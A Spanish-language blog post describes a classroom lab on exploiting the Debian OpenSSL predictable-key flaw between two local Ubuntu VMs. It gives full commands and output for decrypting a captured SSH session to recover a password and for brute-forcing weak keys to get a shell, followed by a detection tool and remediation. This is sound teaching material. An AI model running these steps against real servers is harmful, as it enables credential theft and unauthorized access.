Laboratorio práctico de explicación de la vulnerabilidad de libssl en Debian.
En Abril de este año comencé a dictar los laboratorios y algunas clases teóricas del curso de Seguridad de la Información y Auditoria de Sistemas armado por la gente de i-sec .
El viernes 11 de Julio dí un laboratorio que surgió a partir de una clase anterior (MT-11) dictada por Sebastian Bortnik en la que explicaba "Encriptación / Certificados Digitales" entre otros temas.
La idea es explicarlo paso a paso y ver de forma totalmente práctica como aprovechar la vulnerabilidad de Openssl (DSA-1571-1) descubierta por Luciano Bello en todas sus formas.
Se puede dividir en dos partes principales:
Descifrar una comunicación SSH v2 para obtener usuario y contraseña y
Obtener una shell a partir de un bruteforce con todas las claves generadas previamente
Armado del Laboratorio
El laboratorio se va armar en base a Virtual Machines de VMware usando Ubuntu 8.04 (Ubuntu está basado en Debian).
Descargar la Virtual Machine de Ubuntu 8.04 Desktop y la Virtual Machine de Ubuntu 8.04 Server desde el sitio de Vmware Appliance.
Descargar VMware Player.
Asumo que el lector tiene un manejo de VMware Player por lo que ovbiaré algunos pasos de configuración e inicio de las Virtual Machines (de ahora en mas las llamaré VM).
Se configuran las 2 VM (Ubuntu Desktop y Server) para usar una placa de red de tipo NAT, solo a modo de practicidad.
En Ubuntu Server y Ubuntu Desktop se asigna una ip por dhcp ejecutando:
sudo dhclient
En mi caso las ip son:
IP Ubuntu Server: 192.168.230.143
IP Ubuntu Desktop: 192.168.230.144
El usuario y contraseña con los que vienen las dos VM es user/user. Lo vamos a cambiar por uno que sea mas visible a la hora de ver los paquetes capturados con el sniffer.
Cambiar el password a Ubuntu Server ejecutando:
passwd
Ingresar el actual password:
user
Ingresar el nuevo password:
superpassword
Configurar ahora Ubuntu Desktop para que no se actualice y que solo se descarguen los paquetes correspondientes a la versión 8.04 y no los paquetes más nuevos.
Ir a "System -> Administration -> Synaptic Package Manager", luego al Menu "Settings/Preferences"
Modificar solo estas dos pestañas que se muestran a continuación, las demas no tienen importancia y se pueden dejar como estan por defecto.
Ir a "System -> Administration -> Synaptic Package Manager", luego al Menu "Settings/Repositories"
Modificar la configuración de las siguientes tres pestañas, las demás no tienen importancia y se pueden dejar como están por defecto:
Instalamos librerias y programas necesarios en Ubuntu Desktop.
Necesitamos libssl para ruby, libssl-dev, gcc/g++, dependencias de python, wireshark y tcpick
sudo apt-get install libopenssl-ruby libssl-dev gcc g++ python-crypto python-paramiko wireshark tcpick
Descargamos ssh_decoder y ssh_kex_keygen en /home/user:
wget http://www.cr0.org/progs/sshfun/ssh_decoder-1.0.tar.bz2
wget http://www.cr0.org/progs/sshfun/ssh_kex_keygen-1.1.tar.bz2
Descomprimimos:
tar -xvjf ssh_decoder-1.0.tar.bz2
tar -xvjf ssh_kex_keygen-1.1.tar.bz2
Compilamos ssh_kex_keygen-1.1
cd ssh_kex_keygen-1.1 ; make
Copiamos todos los archivos necesario al $HOME
cp ssh_decoder-1.0/ssh_decoder.rb /home/user
cp -r ssh_kex_keygen-1.1/*/home/user
Descargamos un script de la gente de WarCat team para hacer brute force:
wget http://www.ulises2k.com.ar/files/ssh_bruteforce.py.tar.gz ; tar -xvzf ssh_bruteforce.py.tar.gz
Descargamos dowkd.pl, una tool realizada por la gente del security team de Debian.
La he modificado levemente para mostrar algunos datos de las claves.
wget http://www.ulises2k.com.ar/files/dowkd.tar.gz ; tar -xvzf dowkb.tar.gz
Descargamos todas las llaves públicas y privadas pre-computadas desde el sitio de HD Moore:
wget http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
descomprimimos
tar -xvjf debian_ssh_rsa_2048_x86.tar.bz2
Ya tenemos todas las herramientas instaladas.
Descifrar una comunicación SSH v2 para obtener usuario y contraseña
Desde la versión de OpenSSL 0.9.8c-1 hasta la 0.9.8c-4 (sin incluir esta última) son vulnerables en Debian Etch y hasta la versión 0.9.8g-9 (sin incluir esta última) son vulnerables en Debian Lenny/Sid al fallo de DSA-1571-1
En nuestro Ubuntu server tenemos instalado la versión Openssl 0.9.8g-4, la obtenemos ejecutando:
apt-cache show openssl
Ahora vamos a "sniffear" la conexion entre Ubuntu Desktop y Ubuntu Server con el wireshark y la guardamos en un archivo .cap para luego descifrarlo.
Ejecutamos Wireshark dentro de Ubuntu Desktop como root:
sudo wireshark
Configuramos Wireshark para "sniffear" la placa de red, en este caso se llamará eth1.
Presionamos el botón "Start" y comienza a "sniffear".
Aplicamos un filtro para capturar solo el trafico ssh, para eso escribir en "Filter" , "ssh", se debe poner todo el textbox de color verde indicando que estamos colocando un filtro correcto.
Abrimos una terminal desde "Applications->Accesories->Terminal"
Nos conectamos al Ubuntu Server usando solamente el protocolo v2 de ssh ejecutando:
ssh -2 user@192.168.230.143
Nos autenticamos con password "superpassword", luego escribimos:
echo "Esto es un comando ejecutado desde el server"
exit
Ahora ya tenemos capturado todo el tráfico de inicio de sesión y finalización de una conexión ssh con el Wireshark.
Vamos al Wireshark al menú "Capture->Stop" para detener la captura.
Comprobamos que hay tráfico capturado como vemos en la siguiente imagen:
Guardamos la captura con "File->Save As..."
En el campo "Name:" ponemos "/home/user/ssh.cap"
Seleccionamos "All packets" , "Displayed" y presionamos "Save"
Ahora tenemos todo nuestro tráfico ssh guardado en "/home/user/ssh.cap"
Vamos a usar un script de Raphaël Rigo con el cual me puse en contacto para preguntarle sobre un error que tuve cuando quería usar el script ssh_decoder
El problema ocurrio porque había capturado el tráfico con
sudo tcpdump -i eth1 port 22 -w debian2.cap
y luego al momento de desencriptar el tráfico el script ssh_decoder arrojaba el siguiente error:
ssh_decoder.rb:324: undefined method `[]' for nil:NilClass (NoMethodError)
Raphaël
me dijo que usara Wireshark ya que el tcpdump me estaba truncando los paquetes.
Volviendo al tema, ejecutamos :
tcpick -wRC -wRS -r /home/user/ssh.cap
Esto nos va a mostrar algo así:
Starting tcpick 0.2.1 at 2008-07-24 00:04 EDT
Timeout for connections is 600
tcpick: reading from ssh.cap
1 SYN-SENT 192.168.230.144:43370 > 192.168.230.143:ssh
1 SYN-RECEIVED 192.168.230.144:43370 > 192.168.230.143:ssh
1 ESTABLISHED 192.168.230.144:43370 > 192.168.230.143:ssh
1 FIN-WAIT-1 192.168.230.144:43370 > 192.168.230.143:ssh
1 TIME-WAIT 192.168.230.144:43370 > 192.168.230.143:ssh
1 CLOSED 192.168.230.144:43370 > 192.168.230.143:ssh
tcpick: done reading from ssh.cap
83 packets captured
1 tcp sessions detected
y va a crear dos archivos:
tcpick_192.168.230.144_192.168.230.143_ssh.clnt.dat
tcpick_192.168.230.144_192.168.230.143_ssh.serv.dat
ssh_kex_keygen recupera el secreto compartido calculado durante el intercambio de Diffie Hellman en una las comunicaciones SSH y solamente funciona si uno de los extremos es vulnerable a Openssl PRNG.
ssh_decoder puede descifrar una sesión SSH capturada cuando uno de los extremos tiene la vulnerabilidad anteriormente mencionada.
Ahora finalmente desciframos la sesión:
ruby ssh_decoder.rb tcpick*
Y obtenemos nuestro preciado usuario y contraseña:
* read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none
* bruteforce DH
DH shared secret : 00882543476f10176cba6f108377b95e2d1edef5b3277d969704e4484900d0a8c36aa4ce08d2f4531bb5f6ae3d0534fb0301620467973a9d9e0b5afc402f1ce57ac1958f926425e5673b3ced5ce95b857681cae27d2bc83ac201fcfd7a7f1d80c4a8f6e659cfa2c66934ee8457784f77b1f262e157510a403417ee0cf0e3644ad2
* derive keys
* decipher streams
* successful authentication packet
{:username=>"user",
:nextservice=>"ssh-connection",
:auth_method=>"password",
:change=>0,
:password=>"superpassword"}
* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"
Y podemos ver todo el tráfico en texto plano:
less sshdecrypt.0.server.dat
less sshdecrypt.0.client.dat
¿Donde puede ser usada esta vulnerabilidad?
Se puede usar por ejemplo cuando se ha comprometido un servidor por X vulnerabilidad y por la cual la persona maliciosa obtiene por elevación de privilegios o no, privilegios de root e instala luego un rootkit o troyano para garantizar su acceso.
La persona maliciosa captura una sesión de ssh y obtiene las credenciales de ingreso y puede independizarse del rootkit o troyano.
Obtener una shell a partir de un bruteforce con todas las claves generadas previamente
Ssh se puede configurar para autenticar por medio de un par de claves pública/privadas para esto hay que realizar los siguientes pasos:
ssh-keygen -t rsa
copiar la clave publica al servidor ssh al cual se quiere autenticar luego:
ssh-copy-id user@192.168.230.143
Ahora nos podemos autenticar sin escribir usuario y contraseña:
ssh user@192.168.230.143
Con esto logramos que el método anterior de sniffear la comunción para obtener usuario y contraseña quede inaplicable, pero vamos a ver como haciendo bruteforce podemos obtener una shell.
Renombramos o borramos nuestra clave privada para no poder autenticarnos automaticamente, en este caso vamos a renombrarla:
mv $HOME/.ssh/id_rsa $HOME/.ssh/id_rsa.priv
Ejecutamos el script de bruteforce de ssh con los parámetros necesarios:
python ssl_bruteforce.py /home/user/rsa/2048 192.168.230.143 user 22 4
Y comienza el ataque del cual podemos estar seguros que si el servidor tiene al menos una clave pública débil en /home/user/.ssh/authorized_keys vamos a obtener un shell con toda seguridad ya que tenemos todas las claves privadas de rsa a 2048 bits dentro de rsa/2048
-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
d00be1be9c996d2cde7c73c8cd9e9c3c-30861
d4cede93dfb410ae9f5d62e8e1811117-32109
d00a82e0eda4f2d49246448521a93b16-19844
d003083366ef75998a6ade46d8d4b52c-23659
d00bfa4a84ad64724638e619151c0449-10653
d00356ebd65d1a25191e8f05c4464c4c-23823
d00b8cfb9eb7d4f6fec8a98ac64994c1-15343
617509675aadd761ef72939d7699e139-11798
d00353b7c3b45c4f4d9eb4e594068f11-24307
d00384ca4a0ae097f5d61035da08fdf4-11578
d008c1ead01a61d1964c59734a7fea63-15032
Key Found in file: 617509675aadd761ef72939d7699e139-11798
Execute: ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143
Cuando la clave sea encontrada nos mostrará el nombre del archivo con la clave privada correspondiente a la clave pública localizada en $HOME/.ssh/authorized_keys en el servidor.
Ejecutamos entonces:
ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143
Y comprobamos efectivamente que nos autenticamos en el servidor y obtenemos una shell.
El script dowkb.pl es una muy buena tool para saber si tenemos una llave pública/privada débil
Comprobamos si nuestro servidor tiene una clave pública débil con:
./dowkd.pl host 192.168.230.143
Por supuesto en este caso comprobamos que si
1a:f9:d2:35:13:63:68:27:8a:ca:ca:09:6b:62:0f:63
192.168.230.143: weak key (OpenSSH/dsa/1024)
ssh-dss AAAAB3NzaC1kc3MAAACBAJoNM1CeT7Axj+YAM3ZhWh7o97ICn54G3EAqOIzYg2dX5pYQQ9KIYdyalTAg2adFBu6E8aZOni05PEzaDZbTHdBKuoO9B4zDBhvJw6ud/FFQpmrAIAIuNAK4QB05NbzHU3XOjNM0wxiELb+Hm5bmTT2ebTulZv17MBf4O6VLepk9AAAAFQDiMYZ7I5JvYMZUSgvRX5+e522jdQAAAIB7lraR7CyTfp7WRky6JrQZkphNbvf1pwxgAJhWZ/v8xdirWKtvveB/H5lhXgbPFWneQ3hGKg48BShAvcaY0QLqhBB9iahT6MmekQES+fEYr972coUi5+LMjkKGArt0nkjNBJ7Wtk9jsUe0R+6pA6OvQ70ULgQ3BL8KwYJFD4POMwAAAIBGaXas6exFJlee/gLKuVKJIi56DZChxr48yWtEMpMby4RdPGm+QfnPI2HGx4q2DHRPVrHVBixKJQelTWk29DU2pGWXFr55RApwGhrxXCx01JvkS7YAIBdvzw2wUD/82A8f69mP3oPaU8qRnGmvjo30KIP4KAU/yUfTVnjU5PJBsA==
c8:65:6c:ac:f3:4f:9a:8e:d8:b5:7e:e3:5b:3c:7d:aa
192.168.230.143: weak key (OpenSSH/rsa/2048)
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw==
summary: keys found: 2, weak keys: 2
Atención, esto no quiere decir que en nuestro servidor tengamos un authorized_keys con una clave pública debil, si no, que la públic key que entrega el servidor ssh es débil, en este caso se puede aplicar el primer método explicado anteriormente.
Las claves pública/privadas débiles estan alojadas en el servidor en:
/etc/ssh/
y lo comprobamos haciendo:
cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw== root@ubuntu804server
La cual es la misma detectada por dowkb.pl
Si queremos saber si en nuestro authorized_keys existe alguna clave débil ejecutamos:
./dowkd.pl file $HOME/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxXemh1Nrej7ruVphIe8IARPyXMTXszpQWDVNJIhoTUHlYgfRm+i8BkQKIXlrVQpM9UEt0jEP+Ne9+2104IScV/wL5qf3DkCHh0Aiwhzry74PljUziz/WywopGSY/8QRooCoVimhyMcfZ1ILCB3q2/3UB8/o9O4UgMEXG6DsHNoDUMLvjdqNLJtGDEa6fp5jh3mkZJLIVd02q5/w6hVh62sKhH0VC+hY5j9IDHorWweV7ZQXCOYiHw6+DUlauoIi6zy8fr0hpKKiG6yrG0aP/RfqnxfaccaEy1SBgWfgDUspCtVuL9QKef8R+5Illx4JMPtwIKTBow7SPUJDSbsLODQ==
61:75:09:67:5a:ad:d7:61:ef:72:93:9d:76:99:e1:39
.ssh/authorized_keys:1: weak key (OpenSSH/rsa/2048)
summary: keys found: 1, weak keys: 1
Y vemos efectivamente que es la misma clave con la que nos autenticamos anteriormente haciendo el bruteforce.
Solución
Actualizar principalmente el paquete openssl, todas las posibles versiones de programas vulnerables y regenerar todas las claves públicas/privadas débiles.
Agradecimientos
A mi novia por ayudarme con las correcciones ortográficas y por hacerme el aguante con todo esto.
A Openware e I-sec por permitirme dar estos laboratorios y clases donde uno aprende mucho más enseñando a los demás que leyendo y escribiendo.
A los que me dieron una mano y me felicitaron en la lista Forosi de Segu-info.(Carlos T., yaco, Alejandro, Adolfo F., Cristian B., Sebastian C., Javier, Jhon, Alejus, Javier M.)
A Raphaël por la ayuda en su script.
A los de la lista de Pen-test de securityfocus.com.
Y a los chic@s del curso, esto va dedicado a ellos.








RSS
Enviado por Franck Alexander el 27 Julio, 2009 - 02:22. Criptografía IDEA
http://hermetic.ch/crypto/me6eman/07chap_4.htm (criptografía basada en algoritmo de resistencia de 500 bits)
http://xombra.com/descargando.php?link=366 (estudio matemático de algoritmos criptográficos)
Enviar un comentario nuevo